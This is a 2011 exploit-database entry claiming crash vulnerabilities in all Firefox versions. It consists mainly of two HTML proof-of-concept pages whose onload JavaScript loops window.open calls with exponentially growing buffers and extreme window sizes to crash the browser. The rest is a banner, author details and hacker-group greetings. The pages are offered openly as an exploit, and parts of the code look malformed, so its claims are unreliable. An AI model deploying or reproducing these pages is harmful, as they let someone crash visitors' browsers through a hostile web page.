Mozilla Firefox Crash Handler

2011-03-28T00:00:00
ID PACKETSTORM:99794
Type packetstorm
Reporter KedAns-Dz
Modified 2011-03-28T00:00:00

Description

                                        
                                            `#===============================================================================  
  
80 8o 8oO80oO8 080808 080808080 80o 08 8080080880  
08 0o 08 8 08 8O O8 08o8 O0 0O  
80 0o 8o 0 0 0o o0 80 Oo 08 O0  
08o0o 08 8 8 8O O8 08 0o 80 88  
80o0o 8Oo80O80 0 0 0oOoOoOo0 80 8o 80 o8o  
08 0o 08O08oO8 8 8 8O80808O8 08 O o8 Oo80o  
08 0o 8o 0 8 8o o0 80 0o 08 80  
80 0o 08 8 80 0O O8 0o 8o 8 0  
08 8o 8oO80oO8 080808 8o o0 O8 0o8 80O0808Oo08  
  
#===============================================================================  
# Title : Mozilla Firefox (all) Crash Handler Vulnerabilities  
# Author : KedAns-Dz  
# E-mail : ked-h@hotmail.com  
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)  
# Twitter : twitter.com/kedans  
# platform : windows  
# Impact : Crash Handler  
# Tested on : Windows XP Sp3 FR & Linux Ubuntu 8.10 En ( Back-Track 4 'R1')  
# Target : Mozilla Firefox (all)  
# ** this Vulnerabilities is expectant in all Versions 2 etc ... 3.x **  
#================================================================================  
# Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )  
###  
  
# ======== HTML (1) =======>   
<html>  
<head>  
<body onload="javascript:KeD();">  
<script language="JavaScript">  
function KeD()  
{  
var buffer = '\x42';  
for(i=0; i <= 999 ; ++i)  
buffer+=buffer+  
window.open(buffer+buffer+buffer,width=-999999999999999,height=-9999999999999999); // Open New Windows & Crash !!  
}   
</script>  
</head>  
</body>  
</html>  
  
# ======== HTML (2) =======>   
  
<html>  
<head>  
<body onload="javascript:AnS();">  
<script language="JavaScript">  
function AnS()  
{  
var buffer = '\x42';  
for(i=0; i <= 999 ; ++i)  
buffer+=buffer+  
window.open(buffer+buffer+buffer,fullscreen=true); // Open New Windows & Crash !!  
}   
</script>  
</head>  
</body>  
</html>  
  
#================[ Exploited By KedAns-Dz * HaCerS-StreeT-Team-Dz * ]================================   
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >  
# Islampard * Zaki.Eng * Dr.Ride * Red1One * Badr0 * XoreR * Nor0 FouinY * Hani * Mr.Dak007 * Fox-Dz  
# Masimovic * TOnyXED * cr4wl3r (Inj3ct0r.com) * TeX (hotturks.org) * KelvinX (kelvinx.net) * Dos-Dz  
# Nayla Festa * all (sec4ever.com) Members * PLATEN (Pentesters.ir) * Gamoscu (www.1923turk.com)  
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{  
# Indoushka (Inj3ct0r.com) * [ Ma3sTr0-Dz * MadjiX * BrOx-Dz * JaGo-Dz (sec4ever.com) ] * Dr.0rYX   
# Cr3w-DZ * His0k4 * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,  
# www.packetstormsecurity.org * exploit-db.com * bugsearch.net * 1337day.com * x000.com   
# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...  
#====================================================================================================  
`